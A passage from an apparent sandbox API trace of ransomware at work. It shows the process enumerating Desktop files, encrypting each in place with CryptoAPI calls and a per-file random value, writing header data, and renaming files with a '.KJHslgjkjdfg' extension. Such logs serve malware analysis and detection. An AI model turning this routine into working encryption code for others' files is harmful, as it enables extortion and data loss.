dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.980] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.980] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.980] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13368, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x13368, lpOverlapped=0x0) returned 1 [0145.981] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x13370, dwBufLen=0x13370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x13370) returned 1 [0145.982] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.982] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13370, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x13370, lpOverlapped=0x0) returned 1 [0145.982] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.982] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x13444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.982] SetEndOfFile (hFile=0xc0) returned 1 [0145.985] GetProcessHeap () returned 0x2ef0000 [0145.985] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.985] GetProcessHeap () returned 0x2ef0000 [0145.985] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.986] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CZJofE7p.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\czjofe7p.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CZJofE7p.m4a.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\czjofe7p.m4a.kjhslgjkjdfg")) returned 1 [0145.989] CloseHandle (hObject=0xc0) returned 1 [0145.989] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0145.989] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e7754c0, ftCreationTime.dwHighDateTime=0x1d5df39, ftLastAccessTime.dwLowDateTime=0x483173b0, ftLastAccessTime.dwHighDateTime=0x1d5dc81, ftLastWriteTime.dwLowDateTime=0x483173b0, ftLastWriteTime.dwHighDateTime=0x1d5dc81, nFileSizeHigh=0x0, nFileSizeLow=0x17a9, dwReserved0=0x0, dwReserved1=0xffff, cFileName="dWLBM.flv", cAlternateFileName="")) returned 1 [0145.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dWLBM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dwlbm.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0145.989] GetProcessHeap () returned 0x2ef0000 [0145.989] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.989] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.989] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0145.990] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x7, lpOverlapped=0x0) returned 1 [0145.993] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.993] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.993] GetProcessHeap () returned 0x2ef0000 [0145.993] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0145.993] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30) returned 1 [0145.993] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.994] WriteFile (in: hFile=0xc0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dffc90*=0x30, lpOverlapped=0x0) returned 1 [0145.994] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0145.994] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0145.994] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0145.994] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0145.994] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0145.994] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0145.994] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.994] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.994] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17a9, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x17a9, lpOverlapped=0x0) returned 1 [0145.995] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x17b0, dwBufLen=0x17b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x17b0) returned 1 [0145.995] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.995] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x17b0, lpOverlapped=0x0) returned 1 [0145.995] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.995] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x1874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.995] SetEndOfFile (hFile=0xc0) returned 1 [0145.998] GetProcessHeap () returned 0x2ef0000 [0145.998] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0145.998] GetProcessHeap () returned 0x2ef0000 [0145.998] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dWLBM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dwlbm.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dWLBM.flv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dwlbm.flv.kjhslgjkjdfg")) returned 1 [0145.999] CloseHandle (hObject=0xc0) returned 1 [0145.999] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa11e4470, ftCreationTime.dwHighDateTime=0x1d5dcbe, ftLastAccessTime.dwLowDateTime=0xc3901c60, ftLastAccessTime.dwHighDateTime=0x1d5dbdb, ftLastWriteTime.dwLowDateTime=0xc3901c60, ftLastWriteTime.dwHighDateTime=0x1d5dbdb, nFileSizeHigh=0x0, nFileSizeLow=0xabe3, dwReserved0=0x0, dwReserved1=0xffff, cFileName="F5l9G_GP8jj5.gif", cAlternateFileName="F5L9G_~1.GIF")) returned 1 [0145.999] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F5l9G_GP8jj5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f5l9g_gp8jj5.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.000] GetProcessHeap () returned 0x2ef0000 [0146.000] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.000] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.000] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.000] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xd, lpOverlapped=0x0) returned 1 [0146.001] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.001] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.001] GetProcessHeap () returned 0x2ef0000 [0146.001] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.001] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.001] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.001] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.002] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.002] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.002] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.002] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.002] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.002] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.002] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.002] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.002] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xabe3, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xabe3, lpOverlapped=0x0) returned 1 [0146.003] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xabf0, dwBufLen=0xabf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xabf0) returned 1 [0146.003] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.003] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xabf0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xabf0, lpOverlapped=0x0) returned 1 [0146.004] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.004] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xacc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.004] SetEndOfFile (hFile=0xc0) returned 1 [0146.007] GetProcessHeap () returned 0x2ef0000 [0146.007] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.007] GetProcessHeap () returned 0x2ef0000 [0146.008] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.008] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F5l9G_GP8jj5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f5l9g_gp8jj5.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F5l9G_GP8jj5.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f5l9g_gp8jj5.gif.kjhslgjkjdfg")) returned 1 [0146.010] CloseHandle (hObject=0xc0) returned 1 [0146.010] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853acae0, ftCreationTime.dwHighDateTime=0x1d5db5a, ftLastAccessTime.dwLowDateTime=0xd975e9a0, ftLastAccessTime.dwHighDateTime=0x1d5e3ca, ftLastWriteTime.dwLowDateTime=0xd975e9a0, ftLastWriteTime.dwHighDateTime=0x1d5e3ca, nFileSizeHigh=0x0, nFileSizeLow=0x1818, dwReserved0=0x0, dwReserved1=0xffff, cFileName="fFaepv.swf", cAlternateFileName="")) returned 1 [0146.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFaepv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ffaepv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.011] GetProcessHeap () returned 0x2ef0000 [0146.011] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.011] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.011] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.011] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.012] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.013] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.013] GetProcessHeap () returned 0x2ef0000 [0146.013] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0146.013] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30) returned 1 [0146.013] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.013] WriteFile (in: hFile=0xc0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dffc90*=0x30, lpOverlapped=0x0) returned 1 [0146.013] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.013] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.013] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.013] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.013] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.013] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.013] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.013] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.013] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1818, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x1818, lpOverlapped=0x0) returned 1 [0146.014] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x1820, dwBufLen=0x1820 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x1820) returned 1 [0146.014] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.014] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x1820, lpOverlapped=0x0) returned 1 [0146.014] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.015] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x18e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.015] SetEndOfFile (hFile=0xc0) returned 1 [0146.018] GetProcessHeap () returned 0x2ef0000 [0146.018] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.018] GetProcessHeap () returned 0x2ef0000 [0146.018] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.018] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFaepv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ffaepv.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fFaepv.swf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ffaepv.swf.kjhslgjkjdfg")) returned 1 [0146.020] CloseHandle (hObject=0xc0) returned 1 [0146.020] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbea9550, ftCreationTime.dwHighDateTime=0x1d5e1de, ftLastAccessTime.dwLowDateTime=0xe9836df0, ftLastAccessTime.dwHighDateTime=0x1d5e2cf, ftLastWriteTime.dwLowDateTime=0xe9836df0, ftLastWriteTime.dwHighDateTime=0x1d5e2cf, nFileSizeHigh=0x0, nFileSizeLow=0xdc6e, dwReserved0=0x0, dwReserved1=0xffff, cFileName="GwTEr1lSlc5_U517.gif", cAlternateFileName="GWTER1~1.GIF")) returned 1 [0146.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GwTEr1lSlc5_U517.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gwter1lslc5_u517.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.020] GetProcessHeap () returned 0x2ef0000 [0146.020] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.020] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.020] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.020] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x2, lpOverlapped=0x0) returned 1 [0146.022] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.022] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.022] GetProcessHeap () returned 0x2ef0000 [0146.022] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0146.022] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50) returned 1 [0146.022] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.022] WriteFile (in: hFile=0xc0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffc90*=0x50, lpOverlapped=0x0) returned 1 [0146.022] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.022] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.022] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.022] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.022] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: 